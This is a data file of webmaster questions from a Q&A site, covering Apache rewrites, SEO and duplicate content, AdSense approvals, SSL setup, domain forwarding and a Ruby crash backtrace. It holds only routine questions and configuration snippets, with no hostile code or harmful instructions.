{"id":"25672","title":"Ruby 1.9.3 segmentation fault on rackspace","text":"I'm having a similar problem as \"ruby 1.9 segmentation fault on exit.\" I followed the solution and updated `libselinux` with yum and have the following version installed: Package libselinux-2.0.96-6.fc14.1.x86_64 already installed and latest version I am running a RackSpace machine, kernel version: 2.6.35.4-rscloud. My C backtrace is: -- C level backtrace information ------------------------------------------- \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x18910a) [0x7f3cdb6c010a] vm_dump.c:796 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x5eb04) [0x7f3cdb595b04] error.c:258 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_bug+0xb8) [0x7f3cdb5969d8] error.c:277 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x119865) [0x7f3cdb650865] signal.c:609 \/lib64\/libpthread.so.0() [0x328540eeb0] \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x179272) [0x7f3cdb6b0272] .\/include\/ruby\/ruby.h:1306 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x17f31b) [0x7f3cdb6b631b] vm.c:1220 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1800d5) [0x7f3cdb6b70d5] vm.c:624 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_yield+0x44) [0x7f3cdb6bb274] vm.c:654 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0xab821) [0x7f3cdb5e2821] numeric.c:3204 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x183601) [0x7f3cdb6ba601] vm_insnhelper.c:404 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1792b4) [0x7f3cdb6b02b4] insns.def:1015 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x17f31b) [0x7f3cdb6b631b] vm.c:1220 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1800d5) [0x7f3cdb6b70d5] vm.c:624 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_yield+0x44) [0x7f3cdb6bb274] vm.c:654 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_ary_each+0x54) [0x7f3cdb5622e4] array.c:1478 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x183601) [0x7f3cdb6ba601] vm_insnhelper.c:404 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1792b4) [0x7f3cdb6b02b4] insns.def:1015 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x17f31b) [0x7f3cdb6b631b] vm.c:1220 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_iseq_eval+0x1f0) [0x7f3cdb6bbae0] vm.c:1447 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x67bfd) [0x7f3cdb59ebfd] load.c:310 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_require_safe+0x6ef) [0x7f3cdb5a02df] load.c:619 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x183601) [0x7f3cdb6ba601] vm_insnhelper.c:404 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1792b4) [0x7f3cdb6b02b4] insns.def:1015 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x17f31b) [0x7f3cdb6b631b] vm.c:1220 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1800d5) [0x7f3cdb6b70d5] vm.c:624 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_yield+0x44) [0x7f3cdb6bb274] vm.c:654 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_ary_each+0x54) [0x7f3cdb5622e4] array.c:1478 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x183601) [0x7f3cdb6ba601] vm_insnhelper.c:404 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x1792b4) [0x7f3cdb6b02b4] insns.def:1015 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x17f31b) [0x7f3cdb6b631b] vm.c:1220 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(rb_iseq_eval_main+0xaf) [0x7f3cdb6bbbdf] vm.c:1461 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(+0x6471a) [0x7f3cdb59b71a] eval.c:204 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(ruby_exec_node+0x1d) [0x7f3cdb59c56d] eval.c:251 \/usr\/local\/rvm\/rubies\/ruby-1.9.3-p0\/lib\/libruby.so.1.9(ruby_run_node+0x1e) [0x7f3cdb59e60e] eval.c:244 ruby() [0x4008eb] \/lib64\/libc.so.6(__libc_start_main+0xfd) [0x3284c1ee5d] ruby() [0x4007d9]"}
{"id":"29675","title":"My google Page Rank is 1 but a very famous site has a PR of 4, is that rank correct?","text":"Recently I just had a look at my Google Page Rank and it's 1 but another site which is much more famous than mine is on 4. I am confused with the rank: Are these ranks not affected by the websites popularity? I am really confused. Please help me out."}
{"id":"58629","title":"Proper syntax for .htaccess Rewrite","text":"I'm very new at this so apologies if this is too easy, but would this be proper syntax for redirecting an entire site to a new domain? This is what was suggested so my other concern is blank lines, spaces, etc. Thanks RewriteEngine On # Redirect Entire Site to New Domain RewriteCond %{HTTP_HOST} ^oldsite.org$ [NC] RewriteRule ^(.*)$ http:\/\/newsite.com\/$1 [R=301,L]"}
{"id":"19779","title":"SEO for naming images","text":"I have a website with many images embedded within articles. I do not want to miss traffic by image search. It is easier to save images with numbers, but will this affect SEO rank? I mean image search engines mainly pay attention to the file name or img alt (or title) and text around the image?"}
{"id":"23989","title":"Shared SSL certificate","text":"I sit and look at the SSL certificates and web host. Direct what is the difference between a shared SSL certificate and other SSL certificates? Technically speaking."}
{"id":"32258","title":"Looking to monitor and manage SEO for multiple web sites","text":"Can anyone suggest a web site or service which will allow me to sign up all my client web sites to manage and monitor their SEO? I checked out DIYSEO.com that someone suggested. Any reviews on this site?"}
{"id":"23450","title":"How to monitor outgoing server activity to detect malware?","text":"I have a website that has previously been victim of malware. I restored the site from an old backup and have made every effort to lock down the server. I have no way to be absolutely certain that the backup I used is clean, and I'm worried that this malware may re-appear. I would like to use a tool to monitor outgoing port activity to detect signs of malware activity. Unfortunately I'm using a server host that does not give me shell access, so I need to use a tool that can be installed via FTP and used via the browser. My site is Joomla :( so a Joomla extension with this capability would work, but I haven't found that yet. Any suggestions. Many thanks"}
{"id":"23457","title":"Which is better, minified or obfuscated code?","text":"I’m confused between the two. Which is better, especially for jQuery and JS? Also, which do you think is more SEO-friendly? Note: _I’m a noob._"}
{"id":"56104","title":"Two stage Apache rewrite not working","text":"I had a list of \"Redirect permanent path\/to\/url1 http--\/\/domain2.com\/path\/to\/url2\" rules working as a test, but when I attempted to couple them with mod_rewrite rules to catch non-matching domain1 url paths to direct to http--\/\/domain2.com it all fell apart. now neither the mod_rewrite rules nor the plain 301 redirects are working. **I've got:** 1. a virtualhosts setup for ...\/sites-availble\/domain1 and another for domain2, pointing to different root directories in \/var\/www\/ 2. the .htaccess file in the redirect directory with the Redirect permanent rules 3. \/etc\/apache2\/httpd.conf setup with the \"AllowOverride FileInfo\" rule for the redirect directory containing the .htaccess file However, for some reason, the traffic coming in as domain1 is triggering the CMS for domain2 to through an error because domain1 hasn't been set as an alias. But it shouldn't even see the domain1 traffic. Very confusing and frustrating. **Background and intended process flow:** I am moving content from one CMS to another and simultaneously changing both servers and domains. Many of the urls have been changed so much that I just created a long list of Redirect permanent path\/to\/url1 http--\/\/domain2.com\/path\/to\/url2 rules and stuck them in a least common denominator (\/var\/www\/domainredirects\/) .htaccess faile as is. This file is on the new server and the plan is to initially redirect traffic to the new server's IP from the old server (and later change the name server entries when I know what will happen with domain1) and have the apache virtualhost redirect incoming traffic for domain1 to root directory \/var\/www\/domain1redirect\/ From there it should hit the individual rules and then at the bottom catch everything else going to domain1 and forward it to domain2's root page. I have been trying to test this all by setting \/etc\/hosts to point domian1 to the IP for domain2's server, with the idea that I can get it all set and then just flip the switch on domain1's original server and the traffic will go through the same process path when it hits domain2's server."}
{"id":"56103","title":"Facebook Ads - after setting campaign it is not showing in ad manager","text":"### Description: I bought new campaign in facebook ads service. The type of it is Website Conversions. I implemented pixel (registering) sucessfully, redeemed created list of ads and inserted new card data. In ads manager everything seems alright, pixel is set to active, billing settings are correct but when I click \"Campaigns and adverts\" I dont see my new campaign. Also I didn't get any e-mail notification so I have no idea is it working or not. ### Problem to solve Why I don't see newly created campaign? I suppose Facebook should at least inform me if everything is alright. Please tell me then, is that normal behaviour or something went wrong and I should redeem campaing once more."}
{"id":"51657","title":"Are penalties applied if you have too many 404 errors on your site?","text":"Do the search engines take the number of 404 errors returned by a site into account when calculating the site rank? For example I have 8,000 404 errors and I am thinking that that's affecting my SEO in a negative way. However, I read this Google Webmaster Central article about 404 errors which suggests that they are not always a negative quality indicator. So I am confused...are high numbers of 404 errors harmful to a site or not?"}
{"id":"59480","title":"Looks like fonts are absent","text":"Hello I get 404 error when I try to reach my font file, Is this OK? I use Gtmetrix.com to find bugs on my site. One of the errors says: **The following requests are returning 404\/410 responses. Either fix the broken links, or remove the references to the non-existent resources.** http:\/\/travel-georgia.co.il\/wp-content\/themes\/triton- lite\/fonts\/lobster\/Lobster_1.4-webfont.ttf http:\/\/travel-georgia.co.il\/wp-content\/themes\/triton- lite\/fonts\/lobster\/Lobster_1.4-webfont.woff When I checked the link it really does it, but when I looked inside of this \"lobster\" folder I saw that there were exactly these two files. I downloaded and uploaded new ones the same fonts (in case if the files are broken) , but still get this error."}
{"id":"356","title":"How can I parse Amazon S3 log files?","text":"What are the best options for parsing Amazon S3 (Simple Storage) log files? I've turned on logging and now I have log files that look like this: 858e709ba90996df37d6f5152650086acb6db14a67d9aaae7a0f3620fdefb88f files.example.com [08\/Jul\/2010:10:31:42 +0000] 68.114.21.105 65a011a29cdf8ec533ec3d1ccaae921c 13880FBC9839395C REST.GET.OBJECT example.com\/blog\/wp-content\/uploads\/2006\/10\/kitties_we_cant_stop_here_this_is_bat_country.jpg \"GET \/example.com\/blog\/wp-content\/uploads\/2006\/10\/kitties_we_cant_stop_here_this_is_bat_country.jpg HTTP\/1.1\" 200 - 32957 32957 12 10 \"http:\/\/atlanta.craigslist.org\/forums\/?act=Q&ID=163218891\" \"Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko\/2010031422 Firefox\/3.0.19\" - What are the best options for automating the log files? I'm not using any other Amazon services other than S3."}
{"id":"7507","title":"Managing accounts on a private website for a real-life community","text":"I'm looking at setting-up a walled-in (i.e. mostly private, with a small public-facing login page) website for a real-life community of people, and I was wondering if anyone has any experience with managing member accounts for this kind of thing. Some conditions that must be met: * Each person is eligible for one account. * This community has a set list of real-life member who all mostly know each other, or at least know _of_ each other. * We know each of their names and have a lot of other fragmented data like phone numbers, addresses, etc. * We don't expect or require that they all sign-up. It is purely opt-in, but we anticipate that many of them would be interested in the services we are setting up. * Some of the community members emails are known, but some of them have fallen off the grid over the years, so ideally there would be a way for them to get back in touch with us through the public-facing side of the site. (And we'd want to manually verify the identity of anyone who does so). * Their names are known, and for similar projects in the past we have assigned usernames derived from their real-life names. This time, however, we are open to other approaches, such as letting them specify their own username or getting rid of usernames entirely. The specific web technology we will use (e.g. Drupal, Joomla, etc) is not really our concern right now -- I am more interested in how this can be approached in the abstract. Our database already includes the full member roster, so we can email many of them generated links to a page where they can create an account. (And internally we can require that these accounts be paired with a known member). Should we have them specify their own usernames, or are we fine letting them use their registered email address to log-in? Are there any paradigms for walled-in community portals that help address security issues if, for example, one of their email accounts is compromised? We don't anticipate attempted break-ins being much of a threat, because nothing about this community is high-profile, but we do want to address security concerns. In addition, we want to make the sign-up process as painless for the members as possible, especially given the fact that we can't just make sign-ups open to anyone. I'm interested to hear your thoughts and suggestions! Thanks!"}
{"id":"3105","title":"How to Syndicate Websites Without RSS?","text":"I have four websites that I am wanting to link to from one website. But the kicker here is that beyond just linking to the sites I was looking for a way to display updates from those sites on my site. I know this is possible through RSS syndication, but is this possible without RSS? In other words as far as I can tell the four websites do not have an RSS feed. But I was still hoping to aggregate updates from those websites in one place. UPDATE: There are four websites that customers have to go to and manually check for updates. Rather than have my customers check each site manually by clicking on their links from my website I was hoping there was a way to build a widget or something that would display snippets of content from those four sites. My website would need to display the latest content from the other sites. Sort of like Google Reader can do with RSS feeds. But those 4 websites do not support RSS."}
{"id":"9889","title":"Multiple domains and product categories but one company?","text":"My company is expanding online, and we are wondering the best way to go about our eCommerce strategy. We sell a wide range of products of a single material, lets use ceramics as an example. The current competition in our niche online is medium level. We currently have one site selling all our range: ceramicstuff.com However I have just found that ceramickitchenware.com, ceramicbowls.com, etc are currently unregistered, despite quite decent traffic search volume around those keywords monthly. What do you guys think about registering these domains to increase traffic? Would I put a standalone sites on those domains, or do I point them to my main domain? Or do I use them a \"micro\" sites to offer information, and then link to buy at my main domain, etc? **Summary: I'm looking to employ \"spammy\" type SEO tricks, multiple domains, etc but the key point is I will be generating REAL content, and offering a REAL QUALITY product. How to proceed?** Thanks!"}
{"id":"57127","title":"Resubmitting Google AdSense Application","text":"I submitted an AdSense application, but I was disapproved. I have read over email I was sent, which tell me to visit `http:\/\/www.google.com\/adsense` to resubmit my application. When I visit `http:\/\/www.google.com\/adsense` I am redirected to `https:\/\/www.google.com\/adsense\/disapproved` where I cannot do anything. Clicking the _Return to AdSense home_ link redirects me back to the same page.  How can I resubmit my application?"}
{"id":"14556","title":"Photos being copied all over the place","text":"We have a rather popular website with plenty of photos. Our whole business depends on our content - and the photos are important in this. We invest a lot of time, effort, and money into taking these pictures. On our website we have clear copyright notices, we have the website name and logo in the photos, and we have a Photo Licensing page which states the prices of licensing our photos. Despite all this, our photos are copied by personal and commercial websites alike. We really want to do something about this. We do not want them to take out the photos and leave it at that. We want them to pay for the usage, as we clearly state on our website. Now a few questions come to mind: * Can we legally force them to pay right away? Or are we obligated to first write a \"Cease and Desist\" letter? * Photos are used on websites throughout the world. Are there any worldwide rules for this? * Has anybody experience with doing these things outside of their home country? Should we hire a lawyer in any country? Or could a local lawyer contact oversees companies directly?"}
{"id":"55917","title":"What is the strategy for Google AdSense to open ads link?","text":"People were talking about Google AdSense force the visitor to open the ad window in the same page. But I found that my ads are mostly open in new page. But still some are opened in the same page. What is the detailed rule about this? Any tips?"}
{"id":"29205","title":"Is it bad for SEO to have a site with no click navigation?","text":"I have a site where users can only get to most of the sites content through search. If I make a sitemap that has the URLs for all of the potential searches is it ok that these pages cannot be click navigated to?"}
{"id":"18967","title":"Buying expired domains - what to look for?","text":"I want to purchase a few expired domains, who have some backlinks, but some of those sites have PR of -1 with backlinks which are pretty bad. But what exactly do I need to look for when looking for an expired domain (and I don't want to pay up the nose for a PR3+ domain)."}
{"id":"6125","title":"Can I show abbreviation but have full text in the HTML?","text":"In several places I am using linked abbreviations for a set of words, and Google is picking these abbreviated terms as sitelinks. Problem is, the abbreviation only makes sense in context, not when viewing the Google site links. Each link has a title with the full text. Is there a way to only show the first 3 letters but keeping the entire string in the HTML? Setting a short width doesn't work well."}
{"id":"6127","title":"I've renewed my SSL certificate... do I need to \"do\" anything more?","text":"I've had an SSL certificate for a site for 2 years (from GoDaddy), and it was about to expire in a few weeks. I renewed with GoDaddy for another 2 years. Do I need to update anything manually on the server, or does renewing through the SSL provider take care of everything?"}
{"id":"12777","title":"GoDaddy URL forwarding while keeping relative path","text":"I'm hosting my website on Google App Engine and my domain name on GoDaddy. Google App Engine does not allow you to have naked URLs. So it doesn't allow you to have `example.com` but does allow you to have `www.example.com`. I can easily enable forwarding in GoDaddy to forward `exmample.com` to `www.example.com` however it does not keep the relative URL path. For example I would like for `example.com\/images\/3.jpg` to be forwarded to `www.example.com\/images\/3.jpg` and not just `www.example.com`."}
{"id":"6129","title":"Is there a YouTube <iframe> embed for the latest video on a channel?","text":"(Not sure if this is the right spot, feel free to direct me to the right area if it isn't.) I'm needing to embed the latest video for the website that I'm working on's YouTube channel, and I'd prefer to be able to do it using the new iframe embed YouTube added a while ago. Thing is, I'm not sure how to do it, since I can't find anything on YouTube's website. I don't need that channel embed thing, just the latest video on the channel."}
{"id":"42441","title":"Is it a bad idea to use Google Search on your website?","text":"If you have a web application with lots of records, is it a bad idea to use Google Search on your website? Instead of writing a search function and dealing with performance issue, you 'outsource' the search feature to Google."}
{"id":"57124","title":"Google AdSense denied my site based on their policy on alcohol, but it doesn't sell alcohol","text":"I am building a website that advertises drink specials in my city of Rochester, NY. I just have a very basic website template up now. I was hoping to add Google AdSense advertisements, but I was just denied for having content related to drugs and drug paraphernalia. When I read the official policy, Google stated that it was acceptable to have: * Sites that sell wine and champagne * Sites that sell equipment or provide information on how to distill or brew beer * Directories of pub locations but it was unacceptable to have * sites that primarily sell alcohol (beer, hard alcohol, or liqueurs) directly from their site. My website does not sell alcohol, and I believe it is much more like a directory of pub locations. Does anyone have advice on how to get advertisements on the site, or is it a lost cause?"}
{"id":"51650","title":"What does ADV in the email title stand for","text":"I'm using MailChimp, and I sent out a test newsletter to myself, and the title had ADV: added to the beginning of my title. I'm not sure if MailChimp did that on its own, or if it was outlook exchange. But I have seen other emails that have ADV: at the start of the title What does it mean? and is there a way to stop MailChimp from adding it?"}
{"id":"22587","title":"Best practice for bulk eCommerce product upload?","text":"I'm thinking about opening a large online store for Jewelry, the one thing that really bothers me is managing the actual operation of taking pictures, uploading and describing all the products. I'm trying to figure out the best way to do it, in terms of performance or the least time consuming. Just a few things to keep in mind 1. I'll have over 1,000 items in the online store 2. I'll have 3-4 pictures for each item, I'm using a DSLR camera if it makes any difference. 3. I'm going to probably use Magento, unless you have better experience with another eCommerce platform that will help me get this done quickly. 4. I'll need to randomly(?) create a product code for each item."}
{"id":"12425","title":"SEO on my website","text":"I have a website that I made for a friend who runs his own business. I designed and built the website for him and then hosted it on MY hosting package and URL - Lets call this URL 1. He was happy with everything so he then bought hosting and I gave him all the files and he put them on his hosting package and URL - lets call this URL 2. Now, I added a few keywords and meta data to the head tags of his pages and when it was on URL 1, I got quite a few friends to test the site (giving the site hits). Now I have transferred the site to URL 2, when ever any one googles it, it will display URL 1 - even though URL 1 does not have any of the content for the site on it anymore. What do I do to get google to display URL 2, not URL 1?! Any help would be appreciated, the meta data I added is as follows: <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\" \/> <meta http-equiv=\"language\" content=\"English\"> <meta name=\"author\" content=\"Jon Kyte\"> <meta name=\"description\" content=\"Tom Frost is a personal trainer, competitive natural body builder and nutritionist operating out of Leeds city centre\"> <meta name=\"keywords\" content=\"Tom Frost, Leeds, personal trainer, personal training, qualified fitness instructor, freelance personal trainer, training, natural body building, nutrition\"> If anything I have described is unclear, please let me know and I will try my best to explain, but this is really important as he needs his customers to find him on google! Thanks in advance Jon"}
{"id":"43437","title":"Force www to always show in address bar?","text":"I have created a website for a client (my first freelance job!) and my client is generally happy, however they want the address bar to always show the **www.** portion, even if it isn't typed. Is this possible? I have purchased the domain through 123-reg and am hosting the website on Azure (as an Azure Website). I am guessing I need to add an A record to the DNS settings, would this be correct? Or is it a setting I need to change on Azure? Or something on the web.config file? The site has been created with ASP.Net MVC4. Thanks"}
{"id":"64865","title":"Does an increase in bandwidth usage and a down server indicate a DDoS attack?","text":"I have a dedicated server and it went down hours ago. Just wondering if this happened because of a DDoS attack. I got the bandwidth graph from my hosting provider, it clearly shows huge traffic before server stopped responding. "}
{"id":"64863","title":"Why do tools estimate my AdSense earnings to be much greater than actuallity?","text":"I use Google AdSense at a site with about 15000 page views monthly. If I use some tools the check my website's values then it says that it has a certain value and that I should be able to earn much more than I'm actually doing (I use solely google AdSense). What could be the reason for my low AdSense earnings compared to the estimates of the tools, when the tools estimate a much higher profit from advertising than I actually make? My web health score in AdSense is 5\/5 and my income optimization in AdSense is 4\/5, but is it AdSense itself that is suboptimal and I've missed some good source that the tools assume I could or should use, or is my SEO that is sub- par, or is it simply the tools that are not making a decent valuation? I certainly would like to do as well as the tools say, but the tools report something similar to me record and peak in AdSense for a single day and not close to my average. For instance, one tools says that with my URL as input, the tool reports that the site `could`make 100 USD daily and that estimate is much more than daily AdSense average. So maybe I'm missing something or the tools are just overvaluing the website?"}
{"id":"63129","title":"Could too many backlinks from subdomains result in a search engine penalty?","text":"My website `http:\/\/compare.buyhatke.com` got hit by the recent algorithmic updates. What I could find out as of now is that I have 3-4 services hosted on different subdomains and we keep a constant navigation bar at the top for all our subdomains so that a user can switch easily between services. Now the problem is the services are not completely related to each other and due to lots of pages on our websites. The count of backlinks as shown in Google Webmaster Tools has also increased to 109,857,360 which is very large. So can the backlinks be the culprit given that they belong to different subdomains, and Google might consider them as spammy links, while in reality they are just to simplify navigation, and to keep displaying the top products from each service in the navigation bar? >  Should I remove the backlinks by using Disavow tool? Should I use a _nofollow_ tag in all the URLs of my navigation? What would be the best way to clean up this?"}
{"id":"16462","title":"free Ad serving solution for smaller php websites","text":"I'm looking for a very simple ad serving solution on my website, that can be hosted on my website. I have used openX and found it a bit complex for my needs. basically I need; 1. A way for advertisers to simply post their ad and pay using common payment methods visa\/paypal etc 2. An interface for advertisers to track campaigns. I used traffic spaces one and liked the idea, although i wanted to host the server myself. Performance issues."}
{"id":"16464","title":"What can a mac mini server do? Is it useful for starting up a home business?","text":"The mac mini is a really appealing option to someone like me with little knowledge of servers. I am looking for a server that I can use for a small business, to: host websites, store company files and allow email for staff. Can a mac mini provide such services without a difficult setup and horrible maintenance? If so what would be an ideal spec for the server, if not is there anything cheep and better (more user friendly)?"}
{"id":"51651","title":"Website doesn't default to HTTPS","text":"I'm kinda new to this so bear with me. I just finished setting up SSL on my website. The problem is that if the user types `www.mydomain.com` into their browser, it doesn't connect securely with HTTPS. However, if I type `https:\/\/www.mydomain.com` then it works just fine, and continues to work on subsequent pages, so I know SSL is working. My question is: how would I set the website so that users connect using SSL by default? My first thought was to just redirect to the HTTPS version of the page, but that would mean I would have to put a redirect on every page in case the user doesn't come in via the landing page."}
{"id":"34445","title":"GA UA codes for testing site - set up","text":"Anyone know the process for using a GA live UA code to test a site in development. I.e. I have a live site with a GA UA code attached, tracking live traffic data etc e.g. UA-123456. I've been told that there is a way to produce another code associated to the primary code to use on the testing version of my live site e.g. test code could be UA-123457. Can anyone shed some light on this? If not possible should I just set up a completely separate GA account for my testing site?"}
{"id":"58610","title":"HTML files downloading rather than executing","text":"Trying to get a client's site up. The HTML files keep downloading rather than executing. I've done a MIME check and the files appear to be text\/html. I recreated the database admin, password and made sure that there was a connection between the script and the MySQL database. Permissions seem to be fine and the `index.html` is executable, permissions 755. Not sure where to turn next."}
{"id":"24989","title":"Blogger homepage won't update!","text":"I am new on blogging webmaster tools. Usually, when I add new post to my blog, it will automatic update my homepage also. But from January 14th, my homepage doesn't update in the Google SERPs. As a result, I am losing my popularity in the SERPs. Previously when I posted new articles, 70-80% will go to the first page result. But after the problem occurs, none of them reach the top 15 pages of Google SERPs. :( Last 1\/12\/12, Google webmaster sent me a \"Notice of DMCA removal from Google Search\" massage indicating one of my URLs contained some infringing content which I deleted after receiving their notice. Not only that, I also cheeked all of my posts if there any additional infringing content available. After removing that, I filled out Google's content removed notification form to notify them. Google sent me a feedback that they received it and suggest \"In the future, if you have removed the allegedly infringing content from your site (and won’t put it back), please use the correct form\" which also I filled in. Now my question is: 1. Did I do all this right? 2. Although my new posts are indexed in Google with \"..\", why won't update my homepage which previously automatically updated when a new article was published?"}
{"id":"65409","title":"Wordpress or not?","text":"What is \/ are the practical differences between creating a Wordpress based website and a normal html5 based site - from a siteowners perspective? I know a wee bit of html and css and would like to make a website for myself (promoting my freelance services), using either a Wordpress theme or a plain HTML5+CSS3 site template. But I have little or no idea about Wordpress. So, I am unable to decide. My worry is that, if I use a Wordpress theme - I may have to upgrade or change it continually to keep up with the upgrades of main Wordpress itself. Is this correct? I want to create my site once and then leave it as it is, not worrying about or touching it for a few years - let's say 5 or more! My question is, is this possible? Will my site \/ pages \/ theme become obsolete, unusable, broken, error-prone, dysfunctional or under-performing - due to updates \/ upgrades of Wordpress itself during this period? This is not clear to me."}
{"id":"56265","title":"How can I find a list of backlinks by date for a domain?","text":"I have successfully switched my Site A over to Site B (a legacy domain i purchased). I recently have uncovered some shady link building practices in the Site B link profile. I am trying to find all historical backlinks to Site B pre-domain change so that i can disavow them and only keep the legitimate authoritative links from my original domain (Site A). With limited cooperation from the previous site owners of Site B, any thoughts as to how i should proceed in finding the spam links from before the domain change?"}
{"id":"52998","title":"Creating a new site for media content that exists on another site","text":"So I've looked around on this site, and read up on Google's duplicate content policy, etc., but haven't found an answer specific to my problem. This is going to be a bit long, but I think it's an interesting question (hopefully), so bear with me. I run a community website for people interested in digital scrapbooking (http:\/\/www.pixelscrapper.com). The site includes a forum, a community gallery, and a large and growing collection of downloadable images for people to use in their digital scrapbooking projects (digital papers, embellishments, illustrations, etc.). Over the course of the last year it has become clear that the site presents value to people outside of the digital scrapbooking community. Specifically, we've gotten a wide range of people creating accounts on the site in order to download images from our high-quality collection: these people include web designers, mixed-media artists, illustrators, teachers, etc. **As we've seen this wider interest emerge, we've become interested in the possibility of creating a new website that would be based entirely around image downloading, and targeted not at digital scrapbookers, but at anyone interested in commercial use images.** The new site would be substantially different from our current digital scrapbooking website, but the actual catalog of downloadable images would initially be identical, or almost identical. This creates concern, obviously, from the standpoint of content duplication. **The intent here is not to dupe Google, or anyone else, but to reach a substantially different market with an existing catalog of downloadable images. So the question is: how best to achieve this goal?** Here are some possibilities that I've thought of: **1. Simply change the existing site to cater more to non-scrapbookers** We've thought about simply changing our existing site to make it more friendly to non-scrapbooking users, but haven't found a good way of being able to do that while also keeping the current emphasis on digital scrapbooking for the users who are currently there for that purpose. It seems impossible to have a site that is at once a niche site for digital scrapbookers, and also a broad mass-market site for anyone interested in commercial-use images. The whole way we want to present everything to the two different groups is very different. When someone finds a new use for a prescription medication (and they get it passed through the FDA), they don't take an old bottle that says “for allergies” and add on a footnote that says “p.s. this works well as a sleep aid too!”--rather, they create a new bottle for the new target group that says, “for better sleep.” **2. Create a new site with the duplicate downloads, while being careful not to duplicate text** So one idea is simply to go ahead with a new site at a new domain, which would feature all new organization, structure, design, etc. It wouldn't be about scrapbooking, it wouldn't have the forums, or gallery, etc. etc. The images would be identical, but we could take care to name them slightly differently; a large number of the tags would probably still have to be identical, though (see here for a typical image presentation). Seems like a recipe for duplicate content disaster if\/when Google sees this as a simple dupe. Not sure how Google feels about duplicate images, as opposed to other types of content, but the duplicate tags seem like they would be enough to set things off. **3. Create the dedicated image-downloading site, and have the scrapbooking site “link in” to that site somehow.** We could do something where we remove the downloading section of the digital scrapbooking site and have that section simply link to the dedicated downloading site, with some kind of cross-domain user validation or something, but that defeats the purpose, once again, of reaching two separate audiences: on the scrapbooking website we want the download pages to fit the theme and feel of the scrapbooking site, and we want to present the downloads differently. We don't want people to feel like they're being shoved over to a different site to complete downloads. **4. Create the dedicated image-downloading site, and use canonical tags on the scrapbooking site to indicate the downloading site as canonical.** As far as I can tell this is the best solution that I've thought of, though I'm not sure what all the implications would\/will be. In most cases canonical content is obviously the content that comes first, but in this case we would probably want the dedicated downloading site to be listed as canonical, because the image downloads are going to be the only thing on that site, and if those pages aren't being indexed by Google, we've got no traffic there. I'm assuming the digital scrapbooking site would suffer from lost hits, but at least that site has other content being generated for it (forum posts, gallery images, etc.) What happens, though, when content that has been around for a long time suddenly links to another (new) site as being canonical? Does Google get thrown off by this? Do they see it as malicious in some way? I'm scared of what might happen (i.e. how will search traffic carry over?) **5. Something I haven't thought of yet?** So maybe I've missed a better solution, or missed something about any of the solutions I've proposed. I'd love to hear feedback from anyone who has good SEO experience\/knowledge. It seems reasonable to want to reach two distinct markets with a similar\/identical product, targeted for each, but the question is, how to go about it? For any of the solutions I've proposed, I'm scared of what the unintended consequences might be."}
{"id":"38539","title":"Image SEO - always repeat main keyword in alt text?","text":"I'm working on an Easter Island website and I'm currently redesigning my image system. Virtually all my photos are of Easter Island. My question is, should I always include the keywords \"Easter Island\" for Google to easier understand that my photos are from Easter Island, or is it sufficient that the \"Easter Island\" keywords are in the domain, as well as in all other pages of the site? For example, Alt text 1: \"Moai statues at volcano Rano Raraku at Easter Island (Rapa Nui)\" or Alt text 2: \"Moai statues at volcano Rano Raraku\" Would example 1 be considered keyword stuffing by Google"}
